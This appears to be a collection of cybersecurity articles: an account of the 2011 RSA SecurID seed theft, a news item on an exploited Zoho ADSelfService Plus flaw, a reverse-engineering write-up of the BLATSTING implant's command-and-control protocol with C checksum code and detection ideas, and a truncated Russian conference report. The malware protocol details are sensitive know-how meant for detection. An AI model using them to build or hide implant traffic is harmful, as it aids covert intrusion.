nine hours methodically siphoning the seeds out of the warehouse server and sending them via file-transfer protocol to a hacked server hosted by Rackspace, a cloud-hosting provider. But then he spotted something that gave him a flash of hope: The logs included the stolen username and password for that hacked server. The thieves had left their hiding place wide open, in plain sight. Leetham connected to the faraway Rackspace machine and typed in the stolen credentials. And there it was: The server’s directory still contained the entire pilfered seed collection as a compressed .rar file. Using hacked credentials to log into a server that belongs to another company and mess with the data stored there is, Leetham admits, an unorthodox move at best—and a violation of US hacking laws at worst. But looking at RSA’s stolen holiest of holies on that Rackspace server, he didn’t hesitate. “I was going to take the heat,” he says. “Either way, I'm saving our shit.” He typed in the command to delete the file and hit enter. Moments later, his computer’s command line came back with a response: “File not found.” He examined the Rackspace server’s contents again. It was empty. Leetham’s heart fell through the floor: The hackers had pulled the seed database off the server seconds before he was able to delete it. After hunting these data thieves day and night, he had “taken a swipe at their jacket as they were running out the door,” as he says today. They had slipped through his fingers, escaping into the ether with his company’s most precious information. And though Leetham didn’t yet know it, those secrets were now in the hands of the Chinese military. The RSA breach, when it became public days later, would redefine the cybersecurity landscape. The company’s nightmare was a wake-up call not only for the information security industry—the worst-ever hack of a cybersecurity firm to date—but also a warning to the rest of the world. Timo Hirvonen, a researcher at security firm F-Secure, which published an outside analysis of the breach, saw it as a disturbing demonstration of the growing threat posed by a new class of state-sponsored hackers. “If a security company like RSA cannot protect itself,” Hirvonen remembers thinking at the time, “how can the rest of the world?” The theft of the company's seed values meant that a critical safeguard had been removed from thousands of its customers’ networks. RSA's SecurID tokens were designed so that institutions from banks to the Pentagon could demand a second form of authentication from their employees and customers beyond a username and password—something physical in their pocket that they could prove they possessed, thus proving their identity. Only after typing in the code that appeared on their SecurID token (a code that typically changed every 60 seconds) could they gain access to their account. The SecurID seeds that RSA generated and carefully distributed to its customers allowed those customers’ network administrators to set up servers that could generate the same codes, then check the ones users entered into login prompts to see if they were correct. Now, after stealing those seeds, sophisticated cyberspies had the keys to generate those codes without the physical tokens, opening an avenue into any account for which someone’s username or password was guessable, had already been stolen, or had been reused from another compromised account. RSA had added an extra, unique padlock to millions of doors around the internet, and these hackers now potentially knew the combination to every one. This past December, when it became public that the company SolarWinds was hacked by Russian spies, the world woke up to the notion of a “supply chain attack”: a technique in which an adversary compromises a point of vulnerability in a software or hardware supplier positioned upstream from—and out of sight of—its target, a blind spot in the victim's view of their cybersecurity risks. The Kremlin operatives who hacked SolarWinds hid espionage code in an IT management tool called Orion, used by as many as 18,000 companies and institutions globally. Using the SolarWinds supply chain compromise, Russia’s foreign intelligence agency, known as the SVR, penetrated deep into at least nine US federal agencies, including the State Department, the US Treasury, the Department of Justice, and NASA. In another world-shaking supply chain attack just a few years earlier, Russia’s military intelligence agency, known as the GRU, hijacked a piece of obscure Ukrainian accounting software to push out a data-destroying worm known as NotPetya, inflicting $10 billion in damage worldwide in the worst cyberattack in history. For those with a longer memory, though, the RSA breach was the original massive supply chain attack. State cyberspies—who were later revealed to be working in the service of China’s People’s Liberation Army—penetrated infrastructure relied on across the globe to protect the internet. And in doing so, they pulled the rug out from under the entire world’s model of digital security. “It opened my eyes to supply chain attacks,” says Mikko Hypponen, chief research officer at F-Secure, who worked with Hirvonen on the company's analysis of the RSA breach. “It changed my view of the world: the fact that, if you can’t break into your target, you find the technology that they use and break in there instead.” In the decade that followed, many key RSA executives involved in the company’s breach have held their silence, bound by 10-year nondisclosure agreements. Now those agreements have expired, allowing them to tell me their stories in new detail. Their accounts capture the experience of being targeted by sophisticated state hackers who patiently and persistently take on their most high-value networked targets on a global scale, where an adversary sometimes understands the interdependencies of its victims’ systems better than victims do themselves, and is willing to exploit those hidden relationships. After 10 years of rampant state-sponsored hacking and supply chain hijacks, the RSA breach can now be seen as the herald of our current era of digital insecurity—and a lesson about how a determined adversary can undermine the things we trust most. On March 8, 2011, a brisk late-winter day, Todd Leetham finished a smoke break and was walking back into RSA’s headquarters in Bedford, Massachusetts—a pair of connected buildings on the edge of a forest in the Boston suburbs—when a systems administrator pulled him aside and asked him to take a look at something strange. The admin had noticed that one user had accessed a server from a PC that the user didn’t typically work on, and that the permissions setting on the account seemed unusual. A technical director investigating the anomalous login with Leetham and the admin asked Bill Duane, a veteran RSA engineer, to take a look. To Duane, who was busy working on a cryptographic algorithm at the time, the anomaly hardly looked like cause for alarm. “I frankly thought this administrator was crazy,” he remembers. “Fortunately he was stubborn enough to insist that something was wrong.” Leetham and the company’s security incident responders started to trace the aberrant behavior and analyze the forensics of every machine the anomalous account had touched. They began to see more telltale oddities in employees’ credentials, stretching back days. The admin had been right. "Sure enough,” Duane says, “this was the tip of the iceberg.” Over the next several days, the security team at RSA’s security operations center—a NASA-style control room with rows of desks and monitors covering one wall—meticulously traced the interlopers’ fingerprints. The RSA staffers began putting in nearly 20-hour workdays, driven by the chilling knowledge that the breach they were tracking was still unfolding. Management demanded updates on their findings every four hours, day or night. The analysts eventually traced the origin of the breach to a single malicious file that they believed had landed on an RSA employee’s PC five days before they’d started their hunt. A staffer in Australia had received an email with the subject line “2011 Recruitment plan” and an Excel spreadsheet attached to it. He'd opened it. Inside the file was a script that exploited a zero-day vulnerability—a secret, unpatched security flaw—in Adobe Flash, planting a common piece of malicious software called Poison Ivy on the victim’s machine. That initial point of entry onto RSA’s network, F-Secure’s Hirvonen would later point out in his own analysis, wasn't particularly sophisticated. A hacker wouldn’t have even been able to exploit the Flash vulnerability if the victim had been running a more recent version of Windows or Microsoft Office, or if he’d had limited access to install programs on his PC—as most security administrators for corporate and government networks recommend, Hirvonen says. But it was from this ingress that the RSA analysts say the intruders began to demonstrate their real abilities. In fact, several RSA executives came to believe that at least two groups of hackers were in their network simultaneously—one highly skilled group exploiting the other’s access, perhaps, with or without their knowledge. “There’s the trail through the woods that the first one left, and right in the middle of it, branching off, is the second trail,” says Sam Curry, who was RSA’s chief security officer at the time. “And that second attack was much more skilled.” On that Australian employee’s PC, someone had used a tool that pulled credentials out of the machine's memory and then reused those usernames and passwords to log into other machines on the network. They’d then scraped those computers’ memories for more usernames and passwords—finding some that belonged to more privileged administrators. The hackers eventually got to a server containing hundreds of users’ credentials. Today that credential-stealing hopscotching technique is common. But in 2011 the analysts were surprised to see how the hackers fanned out across the network. “It was really just the most brutal way to blow through our systems that I’d ever seen,” Duane says. Breaches as extensive as the one carried out against RSA are often discovered months after the fact, when the intruders are long gone or lying dormant. But Duane says that the 2011 incident was different: Within days, the investigators had essentially caught up to the intruders and were watching them in action. “They’d try to get into a system, then we’d detect them a minute or two later and go in and shut down that system or disable access to it,” Duane says. “We were fighting them tooth and nail, in real time.” It was in the midst of that feverish chase that Leetham caught the hackers stealing what he still believes was their highest-priority target: the SecurID seeds. RSA executives told me that the part of their network responsible for manufacturing the SecurID hardware tokens was protected by an “air gap”—a total disconnection of computers from any machine that touches the internet. But in fact, Leetham says, one server on RSA’s internet-connected network was linked, through a firewall that allowed no other connections, to the seed warehouse on the manufacturing side. Every 15 minutes, that server would pull off a certain number of seeds so that they could be encrypted, written to a CD, and given to SecurID customers. That link was necessary; it allowed RSA’s business side to help customers set up their own server that could then check users’ six-digit code when it was typed into a login prompt. Even after the CD was shipped to a client, those seeds remained on the seed warehouse server as a backup if the customer’s SecurID server or its setup CD were somehow corrupted. Now, instead of the usual once-every-15-minutes connections, Leetham saw logs of thousands of continuous requests for data every second. What’s more, the hackers had been collecting those seeds on not one but three compromised servers, relaying requests through the one connected machine. They had packaged up the collection of seeds in three parts, moved them off to the faraway Rackspace server, and then recombined them into what appeared to be the full database of every seed RSA had stored in the seed warehouse. “I was like, ‘Wow,’” Leetham says. “I kind of admired it. But at the same time: ‘Oh crap.’” As it dawned on Leetham that the seed collection had likely been copied—and after he had made his seconds-too-late attempt to delete the data off the hackers’ server—the enormity of the event hit him: The trust that customers placed in RSA, perhaps its most valuable commodity, was about to be obliterated. “This is an extinction event,” he remembers thinking. “RSA is over.” It was late at night when the security team learned that the seed warehouse had been plundered. Bill Duane made the call: They would physically cut off as many of RSA’s network connections as necessary to limit the damage and stop any further theft of data. They hoped, in particular, to protect any customer information that mapped to the seeds, and which might be necessary for the hackers to exploit them. (Some RSA staff also suggested to me that the seeds had been stored in an encrypted state, and cutting off network connections was intended to prevent the hackers from stealing the key necessary to decrypt them.) Duane and an IT manager walked into the data center and started unplugging Ethernet cables one by one, severing the company’s connections to its manufacturing facility, parts of its network that handled core business processes like customer orders, even its website. “I basically shut off RSA’s business,” he says. “I crippled the company in order to stop any potential further release of data.” The next day, RSA’s CEO, Art Coviello, was in a meeting in the conference room that adjoined his office, preparing a public statement about the ongoing breach. Coviello had been getting updates since the intrusions were discovered. As the extent of the breach had grown, he’d canceled a business trip to Brazil. But he’d remained relatively sanguine. After all, it didn’t sound like the hackers had breached any credit card data or other sensitive customer information. They’d kick out the hackers, he figured, post their statement, and get on with business. But in the middle of the meeting, he remembers, a marketing executive at the table with him looked at her phone and murmured, “Oh dear.” Coviello asked her what was wrong. She demurred. He took the phone out of her hand and read the message. It said that Bill Duane was coming up to Coviello’s office; he wanted to update the CEO in person. When he got upstairs, he delivered the news: The hackers had reached the SecurID seeds. “I felt like a cannonball had been shot through my stomach,” Coviello says. In the hours that followed, RSA’s executives debated how to go public. One person in legal suggested they didn’t actually need to tell their customers, Sam Curry remembers. Coviello slammed a fist on the table: They would not only admit to the breach, he insisted, but get on the phone with every single customer to discuss how those companies could protect themselves. Joe Tucci, the CEO of parent company EMC, quickly suggested they bite the bullet and replace all 40 million-plus SecurID tokens. But RSA didn’t have nearly that many tokens available—in fact, the breach would force it to shut down manufacturing. For weeks after the hack, the company would only be able to restart production in a diminished capacity. As the recovery effort got under way, one executive suggested they call it Project Phoenix. Coviello immediately nixed the name. “Bullshit,” he remembers saying. “We're not rising from the ashes. We're going to call this project Apollo 13. We're going to land the ship without injury.” At 7:00 the next morning, March 17, RSA’s head of North American sales, David Castignola, finished up an early workout on a treadmill at his local gym in Detroit. When he picked up his phone, he saw that he had missed no fewer than 12 calls—all from just that morning, and all from RSA’s president, Tom Haiser. RSA, Haiser’s voicemails said, was about to announce a major security breach. He needed to be in the building. A few hours and a last-minute flight later, Castignola literally ran into RSA’s headquarters in Bedford and up to the fourth-floor conference room. He immediately noticed the pale, drawn faces of the staff who had been dealing with the unfolding crisis for more than a week. “Every little indicator I got was: This is worse than I can even get my head around,” Castignola remembers. That afternoon, Coviello published an open letter to RSA’s customers on the company’s website. “Recently, our security systems identified an extremely sophisticated cyberattack in progress,” the letter read. “While at this time we are confident that the information extracted does not enable a successful direct attack on any of our RSA SecurID customers, this information could potentially be used to reduce the effectiveness of a current two-factor authentication implementation as part of a broader attack,” the letter continued—somewhat downplaying the crisis. In Bedford, Castignola was given a conference room and the authority to ask for as many volunteers from the company as he needed. A rotating group of nearly 90 staffers began the weeks-long, day-and-night process of arranging one-on-one phone calls with every customer. They worked from a script, walking customers through protective measures like adding or lengthening a PIN number as part of their SecurID logins, to make them harder for hackers to replicate. Castignola remembers walking down the halls of the building at 10 pm and hearing calls on speaker phones behind every closed door. In many cases customers were shouting. Castignola, Curry, and Coviello each did hundreds of those calls; Curry began to joke that his title was “chief apology officer.” At the same time, paranoia was beginning to take hold in the company. The first night after the announcement, Castignola remembers walking by a wiring closet and seeing an absurd number of people walking out of it, far more than he imagined could have ever fit. “Who are those people?” he asked another nearby executive. “That’s the government,” the executive responded vaguely. In fact, by the time Castignola had landed in Massachusetts, both the NSA and the FBI had been called to help the company’s investigation, as had defense contractor Northrop Grumman and incident response firm Mandiant. (By chance, employees of Mandiant had already been on-site prior to the breach, installing security sensor equipment on RSA’s network.) RSA staff began to take drastic measures. Worried that their phone system might be compromised, the company switched carriers, moving from AT&T to Verizon phones. Executives, not trusting even the new phones, held meetings in person and shared paper copies of documents. The FBI, fearing an accomplice in RSA's ranks because of the apparent level of knowledge the intruders seemed to have of company systems, started doing background checks. “I made sure that all members of the team—I don't care who they were, what reputation they had—were investigated, because you have to be sure,” Duane says. The windows of some executives’ offices and conference rooms were covered in layers of butcher paper, to prevent laser microphone surveillance—a long-distance eavesdropping technique that picks up conversations from vibrations in window panes—by imagined spies in the surrounding woods. The building was swept for bugs. Multiple executives insisted that they did find hidden listening devices—though some were so old that their batteries were dead. It was never clear if those bugs had any relation to the breach. Meanwhile, RSA’s security team and the investigators brought in to help were “tearing the house down to the studs,” as Curry put it. In every part of the network that the hackers touched, he says, they scrubbed the contents of potentially compromised machines—and even ones adjacent to them. “We physically went around and, if there was a box they were on, it got wiped,” Curry says. “If you lost data, too bad.” In late May 2011, about two months after the breach announcement, RSA was still recovering, rebuilding, and apologizing to customers when it was hit with an aftershock: A post appeared on the influential tech blogger Robert X. Cringely’s website, titled “InsecureID: No More Secrets?” The post was based on a tip from a source inside a major defense contractor, who’d told Cringely that the company was responding to an extensive intrusion by hackers who seemed to have used stolen RSA seed values to get in. Everyone at the defense contractor was having their RSA tokens replaced. Suddenly RSA's breach seemed far more severe than the company’s original announcement had described it. “Well it didn’t take long for whoever cracked RSA to find a lock to fit that key,” Cringely wrote. “What if every RSA token has been compromised, everywhere?” Two days later, Reuters revealed the name of the hacked military contractor: Lockheed Martin, a company that represented a cornucopia of ultra-secret plans for weapons and intelligence technologies. “The scab was healing,” Castignola says. “Then Lockheed hit. That was like a mushroom cloud. We were back at it again.” In the days that followed, defense contractors Northrop Grumman and L-3 were also named in news reports. Hackers with SecurID’s seed values had targeted them too, the stories said, though it was never clear how deeply the intruders had penetrated the companies. Nor was it revealed what the hackers had accessed inside Lockheed Martin. The company claimed it had prevented the spies from stealing sensitive information like customer data or classified secrets. In another open letter to customers in early June 2011, RSA’s Art Coviello admitted, “We were able to confirm that information taken from RSA in March had been used as an element of an attempted broader attack on Lockheed Martin, a major US government defense contractor.” Today, with 10 years of hindsight, Coviello and other former RSA executives tell a story that starkly contradicts accounts from the time: Most of the former RSA staff who spoke to me claim that it was never proven that SecurID had any role in the Lockheed breach. Coviello, Curry, Castignola, and Duane all argued that it was never confirmed that the intruders inside RSA’s systems had successfully stolen the full list of seed values in an uncorrupted, unencrypted form, nor the customer list mapped to those seeds necessary to exploit them. “I don't think that Lockheed’s attack was related to us at all,” Coviello states flatly. By contrast, in the years since 2011, Lockheed Martin has detailed how hackers used information stolen in RSA’s SecurID breach as a stepping stone to penetrate its network—even as it insists that no information was successfully stolen in that event. A Lockheed source with knowledge of the company’s incident response reaffirmed to WIRED the company’s original claims. “We stand by our forensic investigation findings,” the source says. “Our analysis determined the breach of our two-factor authentication token provider was a direct contributing factor in the attack on our network, a fact that has been widely reported by the media and acknowledged publicly by our vendor, including Art.” In fact, the Lockheed source says the company saw the hackers entering SecurID codes in real time, confirmed that the targeted users hadn’t lost their tokens, and then, after replacing those users’ tokens, watched the hackers continue to unsuccessfully enter codes from the old tokens. The NSA, for its part, has never had much doubt about RSA’s role in subsequent break-ins. In a briefing to the Senate Armed Services Committee a year after the RSA breach, NSA’s director, General Keith Alexander, said that the RSA hack “led to at least one US defense contractor being victimized by actors wielding counterfeit credentials,” and that the Department of Defense had been forced to replace every RSA token it used. In the hearing, Alexander went on to pin those attacks, vaguely, on an increasingly common culprit: China. The New York Times and the security firm Mandiant would later publish a groundbreaking exposé on a Chinese state hacker group that Mandiant had named APT1. The group was believed to be People’s Liberation Army Unit 61398, based on the outskirts of Shanghai. Among its dozens of targets over the previous five years: the governments of the United States, Canada, South Korea, Taiwan, Vietnam; and the United Nations—and RSA. After those reports became public, Bill Duane printed out a picture of the hackers’ headquarters, a 12-story white building off of Shanghai’s Datong Road. He taped it to a dartboard in his office. I asked Duane, who retired from RSA in 2015 after more than 20 years at the company, at what point he considered RSA’s breach truly over: Was it the morning after he made the lonely decision to unplug a chunk of the company’s network? Or when the NSA, the FBI, Mandiant, and Northrop had wrapped up and left? “Our view was that the attack wasn’t ever over,” he responds. “We knew that they left backdoors, that they’re always going to be able to break in, that the attacker can, with their resources, get in when they want to get in.” Duane’s harrowing experience in response to the intrusion taught him—and perhaps should teach all of us—that “every network is dirty,” as he puts it. Now he preaches to companies that they should segment their systems and cordon off their most sensitive data so that it remains impenetrable even to an adversary that’s already inside the firewall. As for Todd Leetham, he watched the SolarWinds fiasco unfold over the past six months with a grim sense of déjà vu. “Everybody was shocked. But in hindsight, well, duh, it was kind of everywhere,” he says of SolarWinds. As was, by analogy, SecurID, 10 years earlier. Leetham sees the lessons of RSA’s supply chain compromise in starker terms than even his colleague Bill Duane: It was “a glimpse of just how fragile the world is,” he says. “It’s a house of cards during a tornado warning.”
# Zoho Patches Actively Exploited Critical ADSelfService Plus Bug The U.S. Cybersecurity and Infrastructure Security Agency (CISA) is warning that hackers are exploiting a critical vulnerability in Zoho’s ManageEngine ADSelfService Plus password management solution that allows them to take control of the system. ADSelfService Plus is aimed at larger organizations that need an integrated self-service password management and single sign-on solution for Active Directory and cloud apps. ## Exploits Detected in the Wild The security issue is identified as CVE-2021-40539. It is considered critical as it can allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. Zoho has published a security advisory to announce that an update that patches the bug is currently available for ADSelfService Plus. In a security notification week, the company says that it is “noticing indications of this vulnerability being exploited” in the wild. The alert from CISA is clear about this, though, as the agency informs that “CVE-2021-40539 has been detected in exploits in the wild.” At this moment, information about the vulnerability is scarce. A severity score has not been calculated by the National Institute of Standards and Technology in the U.S., but Zoho notes that the issue is critical: “An authentication bypass vulnerability affecting REST API URLs, that could result in remote code execution,” the company says. Organizations with ADSelfService Plus builds lower than 6114 are urged to apply the latest update from the developer, available using the service pack. CVE-2021-40539 is the fifth critical vulnerability reported for Zoho ManageEngine ADSelfService Plus this year: - **CVE-2021-37421** - admin portal access-restriction bypass in Zoho ManageEngine ADSelfService Plus 6103 and earlier - **CVE-2021-37417** - CAPTCHA bypass due to improper parameter validation in Zoho ManageEngine ADSelfService Plus build 6103 and earlier - **CVE-2021-33055** - unauthenticated remote code execution in non-English editions affecting Zoho ManageEngine ADSelfService Plus through 6102 - **CVE-2021-28958** - unauthenticated remote code execution while changing the password in all Zoho ManageEngine ADSelfService Plus builds up to 6101 ## About the Author Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits, and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger, and Softpedia.
# BLATSTING Command-and-Control Protocol In this installment I’m going to describe the Command-and-Control (or C&C) protocol of BLATSTING. This is the protocol used in the network traffic between the malware and what is used by the person controlling it. I’m also going to see whether this traffic can be detected. ## Setup To figure out the details of how the communication works I’ve set up a simulation environment, which I’ve termed BEECHPONYZOO (named after BLATSTING’s probable predecessor), where BLATSTING modules running in a simulation can communicate with the Listening Post executable lp running in a VM, in a way isolated from the real network and bare hardware: ``` ╔════════════════════════════╗ ║ BLATSTING emulator ║ ║ ╔════════════════════════╗ ║ ╔════════════════╗ ║ ║ Emulated modules ║ ║ ║ Listening Post ║ emulated ║ ║ ┌─────────┐ ┌────────┐ ║ ║ ║ RH50 i386 VM ║ serial ║ ║ │ cnc <┄> hash │ ║ ║ ║ ┌───────┐ ║ (control) ║ ║ │ │ └────────┘ ║ ║ ║ │ lpexe │<━━━━━━━━━━━━ ║ ║ │ [state] │ ┌────────┐ ║ ║ ║ └───────┘ ║ ║ ║ │ <┄> crypto │ ║ ║ ║ ↕ ║ ║ ║ └─────────┘ └────────┘ ║ ║ ║ Linux nw. stck ║ ║ ╚════^════^══════════════╝ ║ ╚══════^═════════╝ ║ ┆ ┆ ║ ┃ ║ ┆ ┆ ║ ┃ ║ ┌────v──┐┌v───────┐ Emu.nw.║ ┃ ═ Neutronium blast barrier ║ │ [stub]││ [stub] │<┄┄┄┄┄┄┄><━━━━━━━━━━┛ ─ Permeable membrane ║ │ core ││ network│ Stck ║ Eth-over-UDP ━ Emulated physical connection ║ └───────┘└────────┘ ║ ┄ Internal connection ╚════════════════════════════╝ ``` See the gist for the entire module hierarchy; for the sake of expediency we’re only emulating a part of it right now. But enough about my setup. ## Network Protocol The implant (fancy spy word for rootkit) communicates with the Listening Post (spy for Command-and-Control program) using UDP datagrams over an IPv4 network. Those hoping to find IRC servers, bots, and clients as in this presentation will unfortunately be disappointed. ``` ╔═══════════════════╗ ╔═══════════╗ ║ implant ║ ║ lp ║ ╟───────────────────╢ UDP ╟───────────╢ ║ ┌──────┐ ┌─┐ ┌─┐ ║ network ║ ┌───────┐ ║ ║ │impmod│<╌│c│╌│n│<╌╌╌╌╌╌╌╌╌╌╌>│ lpmod │ ║ ║ └──────┘ │n│ │e│ ║ ║ └───────┘ ║ ║ ┌──────┐ │c│ │t│ ║ ║ ┌───────┐ ║ ║ │impmod│<╌│ │╌│ │<╌╌╌╌╌╌╌╌╌╌╌>│ lpmod │ ║ ║ └──────┘ └─┘ └─┘ ║ ║ └───────┘ ║ ║ ... ║ ║ ... ║ ╚═══════════════════╝ ╚═══════════╝ ``` Interesting is that for the initial session setup, the source and destination IP address as well as ports do not matter. The only requirements for accepting the initial packets are that the size (including IP and UDP header, excluding Ethernet header) matches 68 or 72 bytes, and that a special checksum computed on the packet matches the one in the packet. This is a custom checksum, illustrated by the following C code: ```c /* cnc mystery packet checksum * arg1: 8 bytes, arg2: 4 bytes */ uint32_t cnc_checksum(uint8_t *arg1, uint8_t *arg2) { const uint16_t i0 = arg1[0] | (arg1[1] << 8); const uint16_t i1 = arg1[2] | (arg1[3] << 8); const uint16_t i2 = arg1[4] | (arg1[5] << 8); const uint16_t i3 = arg1[6] | (arg1[7] << 8); const uint16_t j0 = arg2[0] | (arg2[1] << 8); const uint16_t j1 = arg2[2] | (arg2[3] << 8); const uint16_t b0 = ((i3 ^ j0) + (i0 ^ j1)) ^ arg1[2] ^ (arg1[7] << 8); const uint16_t b1 = ((i2 ^ j0) + (i1 ^ j1)) ^ arg1[5] ^ (arg1[4] << 8); const uint16_t b2 = ((i1 ^ j0) + (i2 ^ j1)) ^ arg1[0] ^ (arg1[1] << 8); const uint16_t b3 = ((i0 ^ j0) + (i3 ^ j1)) ^ arg1[3] ^ (arg1[6] << 8); return ((b3 ^ b1) << 16) ^ ((b3 * b0) << 5) ^ ((b1 * b2) << 11) ^ b2 ^ b0; } ``` This checksum is checked for every C&C packet, not just for session setup. `arg1` points to the IV (more on this later), of which the first 8 bytes are checked. `arg2` is a 32-bit checksum key, stored internally and not part of the packet, assumed to differ per deployment. After checking, the inner payload is decrypted using RC6 in OFB mode. The key for RC6 is either a pre-shared key or generated from a session challenge and the pre-shared key. This key is unrelated to the one used to key the checksum. The IV for OFB mode (16 bytes) is taken from the packet. ### Packet Format ``` ┌──────────────────┐ 0x00 │ IP hdr (20b) │ ├──────────────────┤ 0x14 │ UDP hdr (8b) │ ├──────────────────┤ 0x1c │ UDP payload │ │ ┌────────────────┤ 0x1c │ │ Checksum (4b) │ │ ├────────────────┤ 0x20 │ │ IV/hash (16b) │ │ ├────────────────┤ 0x30 │ │ Encrypted │ │ │ payload │ │ │ ... │ │ └────────────────┤ └──────────────────┘ ``` After decrypting the inner payload, it is hashed using SHA1 and the first 16 bytes of that hash are compared against the IV in the packet. If they match, the packet is accepted; otherwise, it is rejected. This is “Authenticate and encrypt” and violates the Cryptographic Doom Principle but I don’t think the attacks described there are applicable. But who knows. Using plain SHA1 of the plaintext means that theoretically some information is leaked. Also, the same crypto key is used in both directions. The decrypted payload looks like this: ``` ┌───────────────────┐ 0x00 │ Random (8b) │ ├───────────────────┤ 0x08 │ Opcode (1b) │ ├───────────────────┤ 0x09 │ Argsize (1b) │ ├───────────────────┤ 0x0a │ Datasize (2b) │ ├───────────────────┤ 0x0c │ Sequence nr. (2b) │ ├───────────────────┤ 0x0e │ 1? (2b) │ ├───────────────────┤ 0x10 │ Args │ │ ... (argsize b) │ ├───────────────────┤ 0x10 │ Data │ +arg │ ... (datasize b) │ size └───────────────────┘ ``` All values in this inner payload header are little-endian. Sometimes the actual args or data is big-endian; there is some inconsistency with endians at different nesting levels, but this is by far not the only protocol with this peculiarity. Commands and replies use the same protocol and share the same namespace of message codes. These are the various opcodes, helpfully taken from `lpexe` debug output: | Opcode | Argsize | Datasize | Name | |--------|---------|----------|---------------------| | 0x00 | 4 | 4 | HELLO | | 0x01 | 4 / 8 | 4 / 168 | AUTH_RESP | | 0x02 | 0 | 16 | CHALLENGE | | 0x03 | ? | ? | ACK | | 0x04 | ? | ? | ERROR | | 0x05 | ? | ? | GOODBYE | | 0x06 | ? | ? | BF_READ | | 0x07 | ? | ? | BF_WRITE | | 0x08 | ? | ? | MALLOC | | 0x09 | ? | ? | FREE | | 0x0a | ? | ? | EXEC | | 0x0b | ? | ? | BOX_INFO | | 0x0c | ? | ? | BF_WRITE_STATUS | | 0x0d | ? | ? | MSG_FRAG | | 0x0e | ? | ? | MSG_ACK | | 0x0f | ? | ? | BF_FILE_STATE | | 0x10 | ? | ? | BF_5i_CALL | | 0x11 | ? | ? | BF_5i_REPLY | | 0x12 | ? | ? | BF_5i_REQ_FRAG_PACKET| In the session negotiation phase, only HELLO (0) and AUTH_RESP (1) will be accepted. After a session is established, the other calls can be used. I haven’t looked into detail of all the specific packets here. Some of it looks like the command set for a bare-bones post-exploitation shell, where the remote can allocate, read and write memory, inject code, and execute it. Not all of the commands are implemented though, and the LP side doesn’t even seem to use them. Maybe a remnant from an earlier protocol. Of note are mostly BF_5i_CALL and BF_5i_REPLY; these are used as an RPC system for communicating with loaded modules through their interfaces. ## Detecting BLATSTING C&C Packets Now we get to the interesting part: can we detect BLATSTING C&C packets without knowing any secret key data? Remember that the session setup packets received by the implant are always UDP packets of 68 and 72 bytes (including IPv4 header), with arbitrary source and destination ports. The packets going the other way appear to have a fixed size too. A session starts off like this: ``` LP implant |------------>| 72 bytes (`HELLO`) |<------------| 80 bytes (`CHALLENGE`) |------------>| 72 bytes (`AUTH_RESP`) |<------------| 240 bytes (`AUTH_RESP`) ``` That’s something that an IDS rule could be configured to look for. Another peculiarity of the outgoing packets (from the implant) is that they do not have the UDP checksum set (something that is allowed by RFC768). I don’t know how common this is, but at least the Linux network stack computes it always. Also remember the weird keyed checksum that we started with. It’s not exactly a secure hash function and it’s possible to check it without knowing the key. This could be done by brute-force (32-bit key space, but still that’s a lot of overhead per packet) or by solving the equations, or by using a constraint solver such as Z3. I used the latter approach in `z3_cnc_checksum.py`. Given the checksum output and input, it can check whether there is any possible key that will make it match the checksum. Unfortunately, this does have a ≈4% false-positive rate. By the way: it turns out that for this hash function the coverage of the output space for the same input with different keys is really small. E.g., for the same 8-byte `arg1`, trying all 2^32 `arg2` possibilities will result in only 65495 different outputs. Due to (nearly) XORing them together, the effect of both halves of `arg2` is very closely correlated: there is effectively only a 16-bit key space. That’s a bit disappointing, but by looking at the sizes of the packets as well as the checksum, the false-positive rate could be brought down. Or maybe by correlating multiple packets. None of this helps to decrypt the packets; only detect them; as said before, the key for RC6-OFB is distinct from the checksum key. The crypto key can only be extracted from the implant itself (safest way would be to dump kernel memory). Even though there are session keys, these do not offer any forward secrecy, so once this key is available, all prior traffic can be decrypted. Written on September 4, 2016 Tags: eqgrp, malware Filed under Reverse-engineering
# UISGCON11: Конференция по информационной безопасности Уже традиционно и на радость всем неравнодушным ИТ-шникам (и не только) 4 декабря 2015 в г. Киеве состоялась конференция Украинской группы информационной безопасности UISGCON11. От начала и до конца мероприятия, то ли потому, что было много заинтересованных и компетентных посетителей, то ли благодаря продуманности и насыщенности всякими «интересностями» самой конференции, нас не покидало чувство уюта. Помимо множества актуальных докладов, проводимых в два потока, программа конференции также включала несколько панельных дискуссий, соревнование CTF, конкурс Bring Your Own Sample и лотереи – всё это с ценными призами. В общем, весело было всем. Во время UISGCON11 генеральным директором CyS Centrum Николаем Ковалем был произведен доклад на тему «N-ое количество киберугроз, которые вы могли проспать в 2015 году». Презентация была посвящена экспресс-обзору угроз информационной безопасности, с которыми сталкивалась наша страна и наши граждане в текущем году. В докладе мы старались не обойти стороной никого, поэтому киберугрозы были рассмотрены в разрезе организаций разных типов: - государственных учреждений; - объектов критической информационной инфраструктуры; - банковских учреждений; - военных (в т.ч., пребывающих в зоне АТО); - специальных служб; - и др. Как уже неоднократно отмечалось, способы доставки/реализации угроз не меняются: электронная почта (наиболее распространенный способ), ресурсы сети Интернет (ссылки), а также «флешки» (больше касается как раз тех, кто пребывает в зоне АТО). Хотелось бы отметить, что одной из особенностей 2015 года было применение во время атак так называемой техники «watering hole». Суть метода заключается во взломе известного и/или посещаемого определенной (целевой) аудиторией веб-сайта, с целью размещения в его структуре вредоносного кода, осуществляющего перенаправление посетителей на сайты со связками к сплошной тьме или непосредственную установку вредоносной программы на компьютер пользователя. При этом, среди взломанных сайтов, распространяющих вредоносное программное обеспечение, были как веб-ресурсы новостных агентств и банков, так и государственные («силовые») учреждения. Примеры «вредоносных вставок кода», а также примеры «редиректов» (в частности, с сайта dpsu.gov.ua), приведены на рис. 3-4. Второй особенностью всех атак стало то, что злоумышленники всё чаще и искуснее стали применять методы социальной инженерии, чтобы сама атака как можно более походила на нечто обыденное, не вызывающее подозрений. К примеру, если потенциальной жертве присылают на электронную почту файл с «вирусом», то мало того, что он (файл), а также тема и тело письма будут очень релевантными для жертвы, так еще и при его открытии жертве покажется вполне настоящий текст/картинка/видео и т.п. Такие «настоящие» файлы даже называются по-своему: документ-приманка или lure/decoy документ. К слову говоря, если рассмотреть угрозу BlackEnergy2, то примеры рассылаемых злоумышленниками электронных писем (и документов-приманок) могут быть такими, как показано на рис. 5-7 (отправитель, тема, тело письма, а также документ-приманка – всё в этой атаке было так «как надо»). Продолжая повествование о BlackEnergy2, отметим, что данная угроза не сходит с «экранов радаров» уже около двух лет, очень успешно осуществляя атаки на достаточно важные информационно-телекоммуникационные сети нашей страны. Основная направленность – 